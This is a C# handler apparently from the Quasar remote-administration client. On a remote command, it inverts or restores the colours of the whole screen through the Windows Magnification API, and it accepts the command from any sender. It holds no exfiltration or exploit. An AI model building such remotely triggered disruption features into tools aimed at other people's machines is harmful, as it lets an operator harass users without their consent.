using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System.Runtime.InteropServices;

namespace Quasar.Client.Messages
{
    public class ColorInvertHandler : IMessageProcessor
    {
        [StructLayout(LayoutKind.Sequential)]
        private struct MAGCOLOREFFECT
        {
            [MarshalAs(UnmanagedType.ByValArray, SizeConst = 25)]
            public float[] transform;
        }

        [DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern bool MagInitialize();

        [DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern bool MagUninitialize();

        [DllImport("Magnification.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern bool MagSetFullscreenColorEffect(ref MAGCOLOREFFECT pEffect);

        private static readonly float[] _invertMatrix = {
            -1,  0,  0,  0,  0,
             0, -1,  0,  0,  0,
             0,  0, -1,  0,  0,
             0,  0,  0,  1,  0,
             1,  1,  1,  0,  1
        };

        private static readonly float[] _identityMatrix = {
            1, 0, 0, 0, 0,
            0, 1, 0, 0, 0,
            0, 0, 1, 0, 0,
            0, 0, 0, 1, 0,
            0, 0, 0, 0, 1
        };

        public bool CanExecute(IMessage message) =>
            message is DoStartColorInvert || message is DoStopColorInvert;

        public bool CanExecuteFrom(ISender sender) => true;

        public void Execute(ISender sender, IMessage message)
        {
            if (message is DoStartColorInvert)
                ApplyEffect(_invertMatrix);
            else if (message is DoStopColorInvert)
                ApplyEffect(_identityMatrix);
        }

        private static void ApplyEffect(float[] matrix)
        {
            MagInitialize();
            var effect = new MAGCOLOREFFECT { transform = matrix };
            MagSetFullscreenColorEffect(ref effect);
        }
    }
}
